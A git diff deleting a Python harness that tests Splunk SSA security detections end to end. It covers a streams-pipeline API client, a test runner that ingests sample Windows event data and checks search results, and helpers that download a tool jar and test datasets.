res = get(HUMVEE_ARTIFACT_SEARCH).json() - for r in res['results']: - if re.match(r".*/latest/humvee-.*\.jar$", r['uri']): - #latest_humvee = json.loads(urllib.request.urlopen(r['uri']).read().decode('utf-8')) - latest_humvee = get(r['uri']).json() - return latest_humvee - return "" - - -def build_humvee(path): - if not os.path.exists(path): - os.mkdir(path) - latest_humvee_object = get_latest_humvee_object() - humvee_path = "%s/humvee.jar" % path - humvee_sha256 = "" - if os.path.exists(humvee_path): - with open(humvee_path, 'rb') as jar_fh: - humvee_sha256 = hashlib.sha256(jar_fh.read()).hexdigest() - log(logging.DEBUG, "Current local checksum of Humvee", detail=humvee_sha256) - if humvee_sha256 != latest_humvee_object['checksums']['sha256']: - log(logging.INFO, "Downloading Latest Humvee") - log(logging.DEBUG, "Humvee details", detail=latest_humvee_object) - #urllib.request.urlretrieve(latest_humvee_object['downloadUri'], humvee_path) - with open(humvee_path, 'wb') as f: - f.write(get(latest_humvee_object['downloadUri']).content) - - - - else: - log(logging.DEBUG, "Already latest checksum %s" % humvee_sha256, detail=latest_humvee_object) - - -#def convert_to_ssa(detection): -# ''' -# curl -H 'Content-type: text/yaml' -H 'Authorization: Bearer TOKEN' -# https://app-admin.playground.scp.splunk.com/secanalytics/ssa-tenant-management/v1alpha1/admin/detection-spl/research2 -# --data-binary @detections/endpoint/ssa___first_time_seen_cmd_line.yml -# @param detection: -# @return: -# ''' diff --git a/bin/ssa-end-to-end-testing/modules/streams_service_api_helper.py b/bin/ssa-end-to-end-testing/modules/streams_service_api_helper.py deleted file mode 100644 index 1d3c366206..0000000000 --- a/bin/ssa-end-to-end-testing/modules/streams_service_api_helper.py +++ /dev/null @@ -1,580 +0,0 @@ -""" -helper functions to use the Streams Service API (v3beta1) to perform create, read and delete operations on -data pipeline. -API doc: https://dev.splunk.com/enterprise/reference/api/streams/v3beta1 -""" - -import logging -import os -import uuid -import requests -import time -import base64 -import json - -from http import HTTPStatus -#from constants import ML_MODEL_CONNECTOR_UUID -from modules.utils import request_headers - - -# Logger -logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO")) -LOGGER = logging.getLogger(__name__) - -TENANT_PLAYGROUND = f"research2" -TENANT_STAGING = f"research" -BASE_URL_PLAYGROUND = f"https://api.playground.scp.splunk.com/" -BASE_URL_STAGING = f"https://api.staging.scs.splunk.com/" - -# Streaming Pipelines REST endpoints -CONNECTIONS_ENDPOINT = f"streams/v3beta1/connections" -PIPELINES_ENDPOINT = f"streams/v3beta1/pipelines" -PIPELINES_COMPILE_ENDPOINT = f"streams/v3beta1/pipelines/compile" -PIPELINES_VALIDATE_ENDPOINT = f"streams/v3beta1/pipelines/validate" -PIPELINES_REGISTRY_ENDPOINT = f"streams/v3beta1/pipelines/registry" -PREVIEW_SESSION_ENDPOINT = f"streams/v3beta1/preview-session" -PREVIEW_DATA_ENDPOINT = f"streams/v3beta1/preview-data" -INGEST_ENDPOINT = f"ingest/v1beta2/events" -SUBMIT_SEARCH_ENDPOINT = f"search/v2beta1/jobs" -DATASETS_ENDPOINT = f"catalog/v2beta1/datasets" - - -class ApiError(Exception): - pass - - -class DSPApi: - - def __init__(self, env, tenant, token): - self.env = env - self.tenant = tenant - self.header_token = f"Bearer {token}" - self.validate_token() - - def validate_token(self): - def decode(s): - def pad(t): - return t + '=' * (len(t) % 4) - return json.loads(base64.b64decode(pad(s))) - - token = self.header_token.split()[1] - header, payload, signature = token.split('.') - payload_data = decode(payload) - for k in sorted(payload_data.keys()): - LOGGER.info(f"token.payload.{k} = %s", payload_data[k]) - - valid_for = payload_data['exp'] - int(time.time()) - if not valid_for > 0: - raise ApiError("Token is expired") - - token_env = payload_data['iss'].split('.')[-4] - if self.env != token_env: - raise ApiError(f"Env {self.env} was specified but token is for {token_env}") - - token_tenant = payload_data['tenant'] - if self.tenant != token_tenant: - raise ApiError(f"Tenant {self.tenant} was specified but token is for {token_tenant}") - - def return_api_endpoint(self, endpoint): - if self.env == 'playground': - return f"{BASE_URL_PLAYGROUND}{TENANT_PLAYGROUND}/{endpoint}" - else: - return f"{BASE_URL_STAGING}{TENANT_STAGING}/{endpoint}" - - - def compile_spl(self, spl): - """ - Compile SPL text to a UPL JSON - - Parameters - ---------- - spl: str - the SPL representation of a pipeline or function parameter to be compiled - - Returns - ------- - upl: - JSON representation of the compiled AST - """ - data = {"spl": spl} - LOGGER.debug(f"Compiling SPL into UPL") - #LOGGER.info(f"{spl}") - response = requests.post(self.return_api_endpoint(PIPELINES_COMPILE_ENDPOINT), json=data, headers=request_headers(self.header_token)) - upl = response.json() - if response.status_code == HTTPStatus.OK: - LOGGER.info(f"Successfully compiled spl to upl") - return upl - else: - LOGGER.error("SPL compilation failed: %s", response.text) - - def validate_upl(self, upl): - """ - Validate whether the JSON representation of a pipeline is valid - - Parameters - ---------- - upl: JSON - JSON representation of the compiled AST of a pipeline - - Returns - ------- - response_body: JSON - returns whether or not the pipeline id valid. If valid, the response body returns 'success' - """ - - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - data = {"upl": upl} - response = requests.post(self.return_api_endpoint(PIPELINES_VALIDATE_ENDPOINT), json=data, headers=headers) - - if response.status_code == HTTPStatus.OK: - LOGGER.info(f"UPL is validated.") - return upl - else: - LOGGER.error("UPL validation failed: %s", response.text) - - - def get_pipelines(self): - """ - Returns the list of pipelines - - @return: - list of pipelines - """ - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - - response = requests.get(self.return_api_endpoint(PIPELINES_ENDPOINT), headers=headers) - response_body = response.json() - if response.status_code == HTTPStatus.OK: - return response_body.get('items') - else: - LOGGER.error(f"Failed to get pipelines: %s", response.text) - - - def create_pipeline(self, upl): - """ - POST pipelines endpoint to create a pipeline based on the valid upl - - Parameters - ---------- - upl: JSON - JSON representation of the validated pipeline details - - Returns - ------- - pipline_id: UUID - id of the created pipeline - - """ - - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - set_test_id = uuid.uuid4().hex - data = { - "name": f"ssa_smoke_test_pipeline_helper_{set_test_id}", - "description": "ssa_test_pipeline_description", - "bypassValidation": "true", - "labels": {"app": "ba"}, - "data": upl - } - response = requests.post(self.return_api_endpoint(PIPELINES_ENDPOINT), json=data, headers=headers) - response_body = response.json() - if response.status_code == HTTPStatus.CREATED: - pipeline_id = response_body.get("id") - #LOGGER.info(f"Pipeline {pipeline_id} successfully created") - return pipeline_id - else: - LOGGER.error(f"Failed to create pipeline: %s", response.text) - - - def create_pipeline_from_spl(self, spl): - """ - helper function to compile and validate from spl text, then create the pipeline - - """ - upl = self.compile_spl(spl) - validated_upl = self.validate_upl(upl) - pipeline_id = self.create_pipeline(validated_upl) - LOGGER.info(f"pipeline id created is: {pipeline_id}") - return pipeline_id - - - def activate_pipeline(self, pipeline_id): - """ - POST pipelines/activate endpoint to activate an existing pipeline - - Parameters - ---------- - pipeline_id: str - pipeline UUID to activate - - Returns - ------- - response_body: response JSON - response body that contains pipeline status ACTIVATED - """ - - assert(pipeline_id is not None), "Must specify a 'pipeline_id'" - - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - pipelines_activate_endpoint = self.return_api_endpoint(PIPELINES_ENDPOINT) + "/" + pipeline_id + "/activate" - pipelines_status_endpoint = self.return_api_endpoint(PIPELINES_ENDPOINT) + "/" + pipeline_id - - data = { - "activateLatestVersion": "true", - "allowNonRestoredState": "true", - "skipRestoreState": "true" - } - - pipeline_activated = False - attempts_remaining = 30 - - response = requests.post(pipelines_activate_endpoint, json=data, headers=headers) - - if response.status_code == HTTPStatus.OK: - while attempts_remaining: - attempts_remaining -= 1 - pipeline_status_response = requests.get(pipelines_status_endpoint, headers=headers) - if pipeline_status_response.status_code == HTTPStatus.OK: - pipeline_status = pipeline_status_response.json() - status = pipeline_status['status'] - if status == 'ACTIVATED': - pipeline_activated = True - LOGGER.info(f"Pipeline {pipeline_id} successfully activated") - break - else: - LOGGER.warning("Current pipeline activation status for %s: %s", pipeline_id, status) - else: - LOGGER.error("Failed to check pipeline status for %s: %s", pipeline_id, pipeline_status_response.text) - - if attempts_remaining: - time.sleep(60) - else: - LOGGER.error("Got tired of waiting for the pipeline to activate") - else: - LOGGER.error("Failed to request pipeline activation for %: %s", pipeline_id, response.text) - - return pipeline_activated - - - def deactivate_pipeline(self, pipeline_id): - """ - POST pipelines/deactivate endpoint to deactivate an existing pipeline - - Parameters - ---------- - pipeline_id: - pipeline UUID to deactivate - - Returns - ------- - response_body: response JSON - response body that contains the status of the pipeline after deactivation - """ - - assert(pipeline_id is not None), "Must specify a 'pipeline_id'" - - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - pipelines_deactivate_endpoint = self.return_api_endpoint(PIPELINES_ENDPOINT) + "/" + pipeline_id + "/deactivate" - - data = { - "skipSavepoint": "true" - } - response = requests.post(pipelines_deactivate_endpoint, json=data, headers=headers) - response_body = response.json() - return response, response_body - - - def delete_pipeline(self, pipeline_id): - """ - Delete an existing pipeline using its pipeline UUID - - Parameters - ---------- - pipeline_id: - pipeline UUID of an existing pipeline - - Returns - ------- - response status code - """ - - assert(pipeline_id is not None), "Must specify a 'pipeline_id'" - - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - delete_pipeline_endpoint = self.return_api_endpoint(PIPELINES_ENDPOINT) + "/" + pipeline_id - response = requests.delete(delete_pipeline_endpoint, headers=headers) - LOGGER.info(f"DELETE pipeline response status code is: {response.status_code}") - return response - - - def pipeline_status(self, pipeline_id): - """ - Returns the statues of an existing pipeline - Parameters - ---------- - pipeline_id: - pipeline UUID of an existing pipeline. - - Returns - ------- - pipeline_status: str - pipeline status can be CREATED, ACTIVATED, FINISHED, RESTARTING, FAILED. - """ - assert(pipeline_id is not None), "Must specify a 'pipeline_id'" - - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - pipelines_status_endpoint = self.return_api_endpoint(PIPELINES_ENDPOINT) + "/" + pipeline_id - - response = requests.get(pipelines_status_endpoint, headers=headers) - response_body = response.json() - if response.status_code == HTTPStatus.OK: - pipeline_status = response_body.get("status") - return pipeline_status - else: - LOGGER.error(f"Fail to get current status of pipeline pipeline {pipeline_id}") - return - - - def get_preview_id(self, upl): - """ - POST preview-session endpoint to create a preview session for a pipeline - - Parameters - ---------- - upl: JSON - JSON representation of the pipeline details - - Returns - ------- - preview_id: str - preview session id - """ - - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - data = { - "upl": upl - } - response = requests.post(self.return_api_endpoint(PREVIEW_SESSION_ENDPOINT), json=data, headers=headers) - response_body = response.json() - # The preview sessions was started successfully - if response.status_code == HTTPStatus.CREATED: - preview_id = response_body.get("previewId") - assert(preview_id is not None), "Must return a 'preview_id'" - return preview_id - - - def get_preview_data(self, preview_id): - """ - POST preview-data endpoint to get the preview data for a preview session - - Parameters - ---------- - preview_id: str - preview session id - - Returns - ------- - response_body: response JSON - the response would contain current number of records, preview data - """ - - assert(preview_id is not None), "Must specify a 'preview_id'" - - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - preview_data_endpoint = self.return_api_endpoint(PREVIEW_DATA_ENDPOINT) + "/" + str(preview_id) - - response = requests.get(preview_data_endpoint, headers=headers) - response_body = response.json() - - if response.status_code != HTTPStatus.OK: - LOGGER.error(f"Failed to preview data from the pipeline. Please check if the operator has been properly " - f"uploaded to DSP.") - return - else: - return response, response_body - - - def stop_preview_session(self, preview_id): - """ - Delete an existing pipeline using its pipeline UUID - - Parameters - ---------- - preview_id: str - preview session id - - Returns - ------- - Boolean: True if preview session is stopped. - """ - - assert(preview_id is not None), "Must specify a 'preview_id'" - headers = {"Content-Type": "application/json", "Authorization": self.header_token} - stop_preview_session_endpoint = self.return_api_endpoint(PREVIEW_SESSION_ENDPOINT) + "/" + str(preview_id) - response = requests.delete(stop_preview_session_endpoint, headers=headers) - LOGGER.info(f"DELETE/preview-session response status code is: {response.status_code}") - return response - - - def get_preview_id_from_spl(self, spl): - - """ - helper function to compile and validate from spl text, then create the pipeline preview session - - """ - - upl = self.compile_spl(spl) - validated_upl = self.validate_upl(upl) - preview_id = self.get_preview_id(validated_upl) - LOGGER.info(f"preview id created is: {preview_id}") - return preview_id - - - def ingest_data(self, data, sourcetype): - """ - Send events - - Parameters - ---------- - data: str - datafile - - Returns - ------- - response - response body in JSON format - """ - if sourcetype == "WinEventLog:Security": - sourcetype = "WinEventLog" - data = [{ - "body": event, - "sourcetype": sourcetype - } for event in data] - response = requests.post(self.return_api_endpoint(INGEST_ENDPOINT), json=data, headers=request_headers(self.header_token)) - if response.status_code != HTTPStatus.OK: - LOGGER.error(f"Failed to upload data: %s", response.text) - return False - - return True - - - def submit_search_job(self, module, query): - """ - Submit Search job - - Parameters - ---------- - module: str - module where this query will be run on (default: `mc`) - query: str - SPL of the search query - - Returns - ------- - sid - sid to search job - """ - data = { - "query": query, - "module": module - } - LOGGER.info(f"Submit Search Job") - response = requests.post(self.return_api_endpoint(SUBMIT_SEARCH_ENDPOINT), json=data, headers=request_headers(self.header_token)) - if response.status_code != HTTPStatus.CREATED: - LOGGER.error(f"Submit search job failed: %s", response.text) - return None - else: - response_body = response.json() - return response_body.get("sid") - - - def check_search_job_finished(self, sid): - """ - Check if a search job finished - - Parameters - ---------- - sid: str - ID of the search. Returned value from `submit_search_job` - - Returns - ------- - response - boolean true or false - """ - LOGGER.info(f"Check Search job results") - results_check_search_job = self.return_api_endpoint(SUBMIT_SEARCH_ENDPOINT) + "/" + sid - response = requests.get(results_check_search_job, headers=request_headers(self.header_token)) - if response.status_code != HTTPStatus.OK: - LOGGER.error(f"Failed to get status of search job") - return None - else: - response_json = response.json() - LOGGER.info(f"Check if search is finished.") - if response_json.get("status") == "done": - return True - else: - return False - - - def get_search_job_results(self, sid): - """ - Get Search Job Results - - Parameters - ---------- - sid: str - ID of the search. Returned value from `submit_search_job` - - Returns - ------- - results - results of search - """ - - LOGGER.info(f"Get Search job results") - results_search_job_endpoint = self.return_api_endpoint(SUBMIT_SEARCH_ENDPOINT) + "/" + sid + "/results" - response = requests.get(results_search_job_endpoint, headers=request_headers(self.header_token)) - if response.status_code != HTTPStatus.OK: - LOGGER.error(f"Failed to get search results") - return None - else: - response_body = response.json() - return response_body.get("results") - - - def create_temp_index(self, module): - """ - Creates an index under module - - Parameters - @param module: str - module under this index will be created - @return: - index object dictionary - """ - index_name = f"temp_st_{uuid.uuid1()}".replace("-", "_") - data = { - "module": module, - "name": index_name, - "kind": "index", - "disabled": False - } - response = requests.post(self.return_api_endpoint(DATASETS_ENDPOINT), headers=request_headers(self.header_token), json=data) - LOGGER.info(f"Create Temp Index {index_name}") - return response.json() - - - def delete_temp_index(self, index_id): - """ - Deletes an index - - @param index_id: - Index ID - @return: - response status code from API - """ - LOGGER.info(f"Delete Temp Index") - datasets_endpoint_api = self.return_api_endpoint(DATASETS_ENDPOINT) - delete_url = f"{datasets_endpoint_api}/{index_id}" - response = requests.delete(delete_url, headers=request_headers(self.header_token)) - return response.status_code diff --git a/bin/ssa-end-to-end-testing/modules/test_ssa_detections.py b/bin/ssa-end-to-end-testing/modules/test_ssa_detections.py deleted file mode 100644 index 72221bd621..0000000000 --- a/bin/ssa-end-to-end-testing/modules/test_ssa_detections.py +++ /dev/null @@ -1,258 +0,0 @@ -import logging -import os -from re import S -import time -import sys -import uuid - -from http import HTTPStatus -from modules.streams_service_api_helper import DSPApi -from modules.utils import check_source_sink, manipulate_spl, read_spl, read_data -from ssa_test import assert_results - -# Logger -logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO")) -LOGGER = logging.getLogger(__name__) - -# MACROS -SLEEP_TIME_CREATE_INDEX = 10 -SLEEP_TIME_ACTIVATE_PIPELINE = 10 -SLEEP_TIME_SEND_DATA = 30 -WAIT_CYCLE = 20 -MAX_EXECUTION_TIME_LIMIT = 600 # per detection test - -TEST_DATASET = 'windows-security_debug.txt' - - -class SSADetectionTesting: - - def __init__(self, env, tenant, token): - self.execution_passed = True - self.max_execution_time = MAX_EXECUTION_TIME_LIMIT - self.env = env - self.tenant = tenant - self.api = DSPApi(env, tenant, token) - self.test_results = {} - - def test_dsp_pipeline(self): - - file_path_data = os.path.join(os.path.dirname(__file__), 'data', TEST_DATASET) - file_path_spl = os.path.join(os.path.dirname(__file__), 'spl') - - test_spls = ['troubleshoot.spl', 'detection.spl'] - test_names = [ - "SSA Index Test Minimal", - "SSA Index Detection Testing Example" - ] - - test_results = [] - for i in range(0, len(test_spls)): - self.max_execution_time = MAX_EXECUTION_TIME_LIMIT - test_id = str(uuid.uuid4()) - test_result = self.ssa_detection_test(read_spl(file_path_spl, test_spls[i]), file_path_data, test_names[i], test_id, "WinEventLog") - test_results.append(test_result.copy()) - - passed = True - - LOGGER.info('-----------------------------------') - LOGGER.info('-------- test DSP Pipeline --------') - LOGGER.info('-----------------------------------') - for test_result in test_results: - LOGGER.info(test_result['msg']) - passed = passed and test_result['result'] - LOGGER.info('-----------------------------------') - - return passed - - def test_ssa_detections(self, test_obj): - LOGGER.info('Test SSA Detection: ' + test_obj["detection_obj"]["name"]) - self.max_execution_time = MAX_EXECUTION_TIME_LIMIT - file_path_attack_data = test_obj["attack_data_file_path"] - test_id = str(uuid.uuid4()) - test_results = self.ssa_detection_test(test_obj["detection_obj"]["search"], file_path_attack_data, - "SSA Smoke Test " + test_obj["test_obj"]["name"], test_id, - test_obj['test_obj']['tests'][0]['attack_data'][0]['source'], - test_obj['test_obj']['tests'][0]['pass_condition']) - - return test_results - - ## Helper Functions ## - - def update_execution_time(self, time_frame): - self.max_execution_time = self.max_execution_time - WAIT_CYCLE - if self.max_execution_time < 0: - return True - else: - return False - - def wait_time(self, time_in_s): - time.sleep(time_in_s) - return self.update_execution_time(time_in_s) - - def ssa_detection_test_init(self): - self.cleanup_old_pipelines() - self.test_results["result"] = True - self.test_results["msg"] = "" - #self.results_index = self.api.create_temp_index("mc") - self.created_pipelines = [] - self.activated_pipelines = [] - - def cleanup_old_pipelines(self): - pipelines = self.api.get_pipelines() - yesterday = (time.time() - 24*3600) * 1000 # milliseconds - for pipeline in pipelines: - if pipeline['name'].startswith("ssa_smoke_test_pipeline_helper") and pipeline['createDate'] < yesterday: - if pipeline['status'] == 'ACTIVATED': - # deactivate pipeline - resp, _ = self.api.deactivate_pipeline(pipeline['id']) - if resp.status_code != HTTPStatus.OK: - LOGGER.error("Error deactivating old pipeline %s: %s", pipeline['name'], resp.text) - - # delete pipeline - resp = self.api.delete_pipeline(pipeline['id']) - if resp.status_code != HTTPStatus.NO_CONTENT: - LOGGER.error("Error deleting old pipeline %s: %s", pipeline['name'], resp.text) - else: - LOGGER.warning("Found and deleted an old pipeline: %s", pipeline['name']) - - def ssa_detection_test_main(self, spl, source, test_name, pass_condition, test_id, sourcetype): - self.execution_passed = True - - self.wait_time(SLEEP_TIME_CREATE_INDEX) - - check_ssa_spl = check_source_sink(spl) - spl = manipulate_spl(self.api.env, spl, test_id) - assert spl is not None, "fail to manipulate spl file" - - upl = self.api.compile_spl(spl) - assert upl is not None, "failed to compile spl" - - validated_upl = self.api.validate_upl(upl) - assert validated_upl is not None, "failed to validate upl" - - pipeline_id = self.api.create_pipeline(validated_upl) - assert pipeline_id is not None, "failed to create a pipeline" - - _pipeline_status = self.api.pipeline_status(pipeline_id) - assert _pipeline_status == "CREATED", f"Current status of pipeline {pipeline_id} should be CREATED" - self.created_pipelines.append(pipeline_id) - - pipeline_activated = self.api.activate_pipeline(pipeline_id) - assert pipeline_activated, f"pipeline {pipeline_id} should be activated." - self.activated_pipelines.append(pipeline_id) - - self.wait_time(SLEEP_TIME_ACTIVATE_PIPELINE) - - if not check_ssa_spl: - msg = f"Detection test successful for {test_name}" - LOGGER.warning(f"Test not completed. Detection seems deprecated, and will not send messages to SSA") - self.test_results["msg"] = msg - return self.test_results - - data = read_data(source, sourcetype) - LOGGER.info("Sending (%d) events" % (len(data))) - - assert len(data) > 0, "No events to send, skip to next test." - - data_uploaded = self.api.ingest_data(data, sourcetype) - assert data_uploaded, "Failed to upload test data" - - self.wait_time(SLEEP_TIME_SEND_DATA) - - search_results = False - max_execution_time_reached = False - - while not (search_results or max_execution_time_reached): - max_execution_time_reached = self.wait_time(WAIT_CYCLE) - query = f"from indexes('detection_testing') | search test_id=\"{test_id}\" " - LOGGER.info(f"Executing search query: {query}") - sid = self.api.submit_search_job('mc', query) - assert sid is not None, f"Failed to create a Search Job" - - job_finished = False - while not job_finished: - self.wait_time(WAIT_CYCLE) - result = self.api.check_search_job_finished(sid) - job_finished = result - - results = self.api.get_search_job_results(sid) - search_results = (len(results) > 0) - if not search_results: - LOGGER.info( - f"Search didn't return any results. Retrying in {WAIT_CYCLE}s, max execution time left {self.max_execution_time}s") - - if not results: - LOGGER.warning("Search job didn't return any results") - - LOGGER.info('Received %s result(s)', len(results)) - test_passed = assert_results(pass_condition, results) - assert test_passed, f"Pass condition {pass_condition} not satisfied" - - msg = f"Detection test successful for {test_name}" - LOGGER.info(msg) - self.test_results["msg"] = msg - - return self.test_results - - def ssa_detection_test_teardown(self): - """ - Deactivate and deletes pipelines, deletes results indexes, - and when it fails it shows pipelines and result indexes that were not removed. - :return: - None - """ - deactivate_pipeline = lambda p: self.api.deactivate_pipeline(p)[0].status_code == HTTPStatus.OK - delete_pipeline = lambda p: self.api.delete_pipeline(p).status_code == HTTPStatus.NO_CONTENT - #delete_index = lambda p: self.api.delete_temp_index(p["id"]) == HTTPStatus.NO_CONTENT - self.activated_pipelines = [p for p in self.activated_pipelines if not deactivate_pipeline(p)] - self.created_pipelines = [p for p in self.created_pipelines if not delete_pipeline(p)] - if len(self.activated_pipelines) > 0 or len(self.created_pipelines) > 0: - LOGGER.warning("Not all SCS resources freed up") - LOGGER.info(f"Created Pipelines: {','.join(self.created_pipelines)}") - LOGGER.info(f"Active Pipelines: {','.join(self.activated_pipelines)}") - LOGGER.info(f"Result Indexes: {self.results_index}") - else: - LOGGER.info("Testing successfully cleaned up") - - def ssa_detection_test(self, spl, source, test_name, test_id, sourcetype, pass_condition='@count_gt(0)'): - self.ssa_detection_test_init() - try: - test_result = self.ssa_detection_test_main(spl, source, test_name, pass_condition, test_id, sourcetype) - self.ssa_detection_test_teardown() - return test_result - except AssertionError as e: - self.ssa_detection_test_teardown() - LOGGER.error(e.args[0]) - LOGGER.error(f"Detection test failure for {test_name}") - return {"result": False, - "msg": f"Detection test failure for {test_name}"} - except Exception as e: - self.ssa_detection_test_teardown() - LOGGER.exception(f"Detection test failure for {test_name} (perhaps SCS problems)") - return {"result": False, - "msg": f"Detection test failure for {test_name} (perhaps SCS problems)"} - - # only for troubleshooting - # def ssa_detection_in_dsp_with_preview_session(self, spl, source, test_name): - - # self.execution_passed = True - - # spl = manipulate_spl(self.api.env, spl) - # self.check_result(spl is not None, "fail to read dummy spl file") - - # preview_id = self.api.get_preview_id_from_spl(spl) - # self.check_result(preview_id is not None, "failed to create a preview session %s" % spl) - - # time.sleep(SLEEP_TIME_SHORT) - - # data = read_data(source) - # response_body = self.api.ingest_data(data) - - # time.sleep(SLEEP_TIME_LONG) - - # response, response_body = self.api.get_preview_data(preview_id) - # self.check_result(response_body.get("currentNumberOfRecords") > 0, "Missing records in preview session.") - - # response = self.api.stop_preview_session(preview_id) - - # self.write_test_results(test_name) diff --git a/bin/ssa-end-to-end-testing/modules/testing_utils.py b/bin/ssa-end-to-end-testing/modules/testing_utils.py deleted file mode 100644 index d74c927f3b..0000000000 --- a/bin/ssa-end-to-end-testing/modules/testing_utils.py +++ /dev/null @@ -1,41 +0,0 @@ -import os -import sys -import logging -import coloredlogs -#import urllib.request -from requests import get -import yaml - -logger = logging.getLogger(__name__) -logger.setLevel(logging.INFO) -handler = logging.StreamHandler(sys.stdout) -handler.setFormatter(coloredlogs.ColoredFormatter("%(asctime)s - %(levelname)s - %(message)s%(detail)s")) -logger.addHandler(handler) - - -def get_path(p): - return os.path.join(os.path.join(os.path.dirname(__file__), "..", p)) - - -def log(level, msg, detail=None): - args = {'detail': ""} if detail is None else {'detail': "\n%s" % detail} - logger.log(level, msg, extra=args) - - -def get_detection(unit_test): - with open(get_path("../detections/%s" % unit_test['file'])) as detection_fh: - parsed_detection = yaml.safe_load(detection_fh) - return parsed_detection - - -def pull_data(test, destination): - data_desc = dict() - if 'attack_data' in test: - for d in test['attack_data']: - test_data = "%s/%s" % (destination, d['file_name']) - #urllib.request.urlretrieve(d['data'], test_data) - with open(test_data, 'wb') as f: - f.write(get(d['data']).content) - data_desc[d['file_name']] = test_data - log(logging.DEBUG, "Downloading dataset %s from %s" % (d['file_name'], d['data'])) - return data_desc diff --git a/bin/ssa-end-to-end-testing/modules/utils.py b/bin/ssa-end-to-end-testing/modules/utils.py deleted file mode 100644 index a803caa3b7..0000000000 --- a/bin/ssa-end-to-end-testing/modules/utils.py +++ /dev/null @@ -1,145 +0,0 @@ -import json -import logging -import os -import fileinput -import re -import io - -from .data_manipulation import DataManipulation - -# Logger -logging.basicConfig(level=os.environ.get("LOGLEVEL", "INFO")) -LOGGER = logging.getLogger(__name__) - - -# Macros -PULSAR_SOURCE_CONNECTION_ID_PLAYGROUND = f"29fb61f1-9342-48f5-9793-1afa008c377b" -PULSAR_SOURCE_TOPIC_PLAYGROUND = f"persistent://ssa/egress/decorated-events-research2" -PULSAR_SOURCE_CONNECTION_ID_STAGING = f"d156ed3a-1254-469a-bffc-9dd6eda97ac6" -PULSAR_SOURCE_TOPIC_STAGING = f"persistent://ssa/egress/decorated-events-research" - -READ_SSA_ENRICHED_EVENTS_EXPANDED = ( - f"pulsar(\"__PULSAR_SOURCE_CONNECTION_ID__\", \"__PULSAR_SOURCE_TOPIC__\")" - f"| eval input_event=deserialize_json_object(value)" - f"| select input_event" - f"| eval _datamodels=ucast(map_get(input_event, \"_datamodels\"), \"collection\", [])" - f",body={{}}" -) - -# not used in the moment -# PULSAR_SINK_CONNECTION_ID = f"29fb61f1-9342-48f5-9793-1afa008c377b" -# PULSAR_SINK_TOPIC = f"persistent://ssa/ingress/detection-events-research2" - -# ## dummy values ## -# DETECTION_TYPE = f"anomaly" -# DETECTION_ID = f"93fbec4e-0375-440c-8db3-4508eca470c4" -# DETECTION_VERSION = f"1" -# RISK_SEVERITY = f"low" -# ## dummy values ## - -# WRITE_SSA_DETECTED_EVENTS_EXPANDED = ( -# f"| eval create_time=time()" -# f", type=\"{DETECTION_TYPE}\"" -# f", detection_id=\"{DETECTION_ID}\"" -# f", detection_version=\"{DETECTION_VERSION}\"" -# f", risk_severity=\"{RISK_SEVERITY}\"" -# f"| select create_time" -# f", start_time" -# f", end_time" -# f", type" -# f", detection_id" -# f", detection_version" -# f", risk_severity" -# f", entities" -# f", body" -# f"| eval id=concat(\"sha256:\", base64_encode(sha256(serialize_json())))" -# f"| select id, serialize_json() AS value" -# f"| into pulsar(\"{PULSAR_SINK_CONNECTION_ID}\", \"{PULSAR_SINK_TOPIC}\", id, value);" -# ) - - -def fetch_token(file): - with open(file) as f: - data = json.load(f) - try: - token = data["data"]["token"] - - except RuntimeError as e: - LOGGER.error(f"JSON is invalid, no IAC token found in Vault JSON output: {e}") - return token - - -def request_headers(header_token): - headers = {"Content-Type": "application/json", "Authorization": header_token} - return headers - - -def check_source_sink(spl): - match_sink = re.search(r"\|\s*into\s+write_ssa_detected_events\(\s*\)\s*;", spl) - return match_sink - - -def manipulate_spl(env, spl, test_id): - # Obtain the SSA source - pulsar_source_connection_id, pulsar_source_topic = return_macros(env) - source = READ_SSA_ENRICHED_EVENTS_EXPANDED\ - .replace("__PULSAR_SOURCE_CONNECTION_ID__", pulsar_source_connection_id)\ - .replace("__PULSAR_SOURCE_TOPIC__", pulsar_source_topic) - # Obtain the test sink - sink = f" eval test_id=\"{test_id}\" | into index(\"mc\", \"detection_testing\")" - # Replace spl template with its `source` and `sink` - spl = replace_ssa_macros(source, sink, spl) - LOGGER.info(f"spl: {spl}") - return spl - - -def read_spl(file_path, file_name): - full_path = os.path.join(file_path, file_name) - spl = open(full_path, "r").read() - return spl - - -def replace_ssa_macros(source, sink, spl): - spl = re.sub(r'read_ssa_enriched_events\(\s*\)', source, spl, flags=re.IGNORECASE) - spl = re.sub(r'into write_ssa_detected_events()\(\s*\)', sink, spl, flags=re.IGNORECASE) - return spl - - -def read_data(file_path, sourcetype): - data = [] - if sourcetype == "WinEventLog:Security" or sourcetype == "WinEventLog": - data_manipulation = DataManipulation() - modified_file = data_manipulation.manipulate_timestamp(file_path, 'xmlwineventlog', 'WinEventLog:Security') - date_rex = r'\d{2}/\d{2}/\d{4} \d{2}:\d{2}:\d{2} [AP]M' - count = len(open(modified_file).readlines()) - - i = 0 - file = fileinput.input(files=modified_file) - event = file[0] - start_position = 0 - - for i in range(1, count): - line = file[i] - i = i + 1 - if re.match(date_rex, line): - data.append(event) - start_position = i - event = line - else: - event = event + line - - - data.append(event) - fileinput.close() - elif sourcetype == "xmlwineventlog": - for line in fileinput.input(files=file_path): - data.append(line) - - return data - - -def return_macros(env): - if env == "playground": - return PULSAR_SOURCE_CONNECTION_ID_PLAYGROUND, PULSAR_SOURCE_TOPIC_PLAYGROUND - else: - return PULSAR_SOURCE_CONNECTION_ID_STAGING, PULSAR_SOURCE_TOPIC_STAGING \ No newline at end of file diff --git a/bin/ssa-end-to-end-testing/requirements.txt b/bin/ssa-end-to-end-testing/requirements.txt deleted file mode 100644 index a1cea2a4d9..0000000000 --- a/bin/ssa-end-to-end-testing/requirements.txt +++ /dev/null @@ -1,25 +0,0 @@ -attrs==20.3.0 -certifi==2020.12.5 -chardet==4.0.0 -coloredlogs==14.0 -gitdb==4.0.5 -GitPython==3.1.14 -idna==2.10 -iniconfig==1.1.1 -install==1.3.4 -packaging==20.9 -pluggy==0.13.1 